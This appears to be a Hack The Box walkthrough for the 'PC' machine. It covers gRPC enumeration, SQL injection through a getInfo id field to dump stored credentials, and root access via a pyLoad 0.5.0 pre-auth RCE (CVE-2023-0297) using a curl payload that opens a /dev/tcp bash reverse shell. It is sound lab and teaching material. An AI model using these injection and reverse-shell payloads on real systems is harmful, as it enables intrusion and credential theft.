Skip to content

HTB: PC

Enumerate

$ sudo nmap -sCV -Pn -p1-65535 $t                                             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-19 22:32 CST           
Stats: 0:02:24 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 58.73% done; ETC: 22:37 (0:01:41 remaining)
Stats: 0:04:04 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.89% done; ETC: 22:37 (0:00:00 remaining)
Stats: 0:04:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.25% done; ETC: 22:37 (0:00:00 remaining)
Nmap scan report for 10.10.11.214
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
|   256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_  256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.94%I=7%D=9/19%Time=650A76E9%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.40 seconds

Port 50051 is the default gRPC port.

I can use grpcurl to access the service:

$ go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
go: downloading github.com/fullstorydev/grpcurl v1.8.9
go: downloading google.golang.org/grpc v1.57.0
go: downloading github.com/jhump/protoreflect v1.15.3
[...]

$ which grpcurl
/home/e/go/bin/grpcurl

$ grpcurl -plaintext $t:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

$ grpcurl -plaintext $t:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

$ grpcurl -plaintext -d '{"username":"foobar", "password":"foobar"}' $t:50051 SimpleApp.RegisterUser
{
  "message": "Account created for user foobar!"
}

$ grpcurl -plaintext -d '{"username":"foobar", "password":"foobar"}' $t:50051 SimpleApp.LoginUser
{
  "message": "Your id is 892."
}

$ grpcurl -plaintext -d '{"id":"892"}' $t:50051 SimpleApp.getInfo
{
  "message": "Authorization Error.Missing 'token' header"
}

The -v flag is required for grpcurl in order to get the authorization token:

$ grpcurl -v -plaintext -d '{"username":"admin", "password":"admin"}' $t:50051 SimpleApp.LoginUser

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
{
  "message": "Your id is 45."
}

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTk5MTEwOTd9.Jjn5E_NhnueHtZGArpgMaYxj5nP_1TA2GgT_iREv-HA'
Sent 1 request and received 1 response

But the getInfo method throws an error:

$ grpcurl -plaintext -H "token: $token" -d '{"id":"564"}' ${t}:50051 SimpleApp.getInfo
ERROR:
  Code: Unknown
  Message: Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable
^ rc=66

Exploit

The getInfo method is vulnerable to a SQLi via the id parameter. I'm able to confirm the database is sqlite:

$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select sqlite_version()--"}' ${t}:50051 SimpleApp.getInfo
{
  "message": "3.31.1"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select password from accounts;"}' ${t}:50051 SimpleApp.getInfo
{
  "message": "HereIs[...]"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select name from sqlite_master where type=\"table\";"}' ${t}:50051 SimpleApp.getInfo{
  "message": "accounts"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select group_concat(name, \",\") from pragma_table_info(\"accounts\");"}' ${t}:50051 SimpleApp.getInfo
{
  "message": "username,password"
}
$ grpcurl -plaintext -H "token: $token" -d '{"id":"0 union select group_concat(username || password) from accounts;"}' ${t}:50051 SimpleApp.getInfo
{
  "message": "adminadmin,sauHereIs[...]"
}
$ ssh sau@${t}
sau@10.10.11.214's password: 
Last login: Tue Sep 26 22:27:18 2023 from 10.10.14.13
sau@pc:~$ cat user.txt 
44d6f9[...]
sau@pc:~$   

Escalate

I check if there's anything listening on localhost:

sau@pc:~$ ss -tlpn
State           Recv-Q          Send-Q                     Local Address:Port                      Peer Address:Port          Process          
LISTEN          0               4096                       127.0.0.53%lo:53                             0.0.0.0:*                              
LISTEN          0               128                              0.0.0.0:22                             0.0.0.0:*                              
LISTEN          0               5                              127.0.0.1:8000                           0.0.0.0:*                              
LISTEN          0               128                              0.0.0.0:9666                           0.0.0.0:*                              
LISTEN          0               128                                 [::]:22                                [::]:*                              
LISTEN          0               4096                                   *:50051                                *:*                              
sau@pc:~$ 

Port 8000 looks interesting. I set up an ssh port forwarding and check it out. It's running PyLoad:

On the target I can see which use it's running as (root) and find out the version.

sau@pc:~$ ps faxuww |grep pyload
root        1052  0.0  1.7 1226704 69536 ?       Ssl  18:37   0:06 /usr/bin/python3 /usr/local/bin/pyload
sau         1986  0.0  0.0   6676   720 pts/0    S+   20:40   0:00              \_ grep --color=auto pyload

sau@pc:~$ pyload --version
pyLoad 0.5.0

This version of pyload has a preauth RCE, and in this case the service is running with root privileges.

$ wget https://raw.githubusercontent.com/overgrowncarrot1/CVE-2023-0297/main/CVE-2023-0297.sh
[...]
2023-11-13 14:44:44 (11.4 MB/s) - ‘CVE-2023-0297.sh’ saved [2472/2472]

$ chmod +x CVE-2023-0297.sh

$ ./CVE-2023-0297.sh  -l 10.10.16.5 -p 443 -w http://localhost:8000
         _____ _____  _____    ________   ___     _____  ___ ______ 
        |  _  |  __ \/  __ \   | ___ \ \ / / |   |  _  |/ _ \|  _  \
        | | | | |  \/| /  \/   | |_/ /\ V /| |   | | | / /_\ \ | | |
        | | | | | __ | |       |  __/  \ / | |   | | | |  _  | | | |
        \ \_/ / |_\ \| \__/\   | |     | | | |___\ \_/ / | | | |/ / 
         \___/ \____/ \____/   \_|     \_/ \_____/\___/\_| |_/___/  


Run nc -lvnp 443, press enter to continue

+ curl -i -s -k -X POST --data-binary 'jk=pyimport%20os;os.system("bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F443%200%3E%261%27");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://localhost:8000/flash/addcrypted2

On the listener:

$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.214] 36646
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cat /root/root.txt
cat /root/root.txt
88473f[...]

Summary

The gRPC service allows registering users, although "admin:admin" also works. Check for a token header in the response, and send then to the .getInfo method.

With the correct token, the response will contain a Python error based on the id field. This allows a sqlite3 injection to dump the accounts database. There's a user named sau with a password HereIs[…].

With access to services listening on localhost (ssh tunneling) a service called Pyload is accessible. It has a preauth RCE allowing code to execute as root.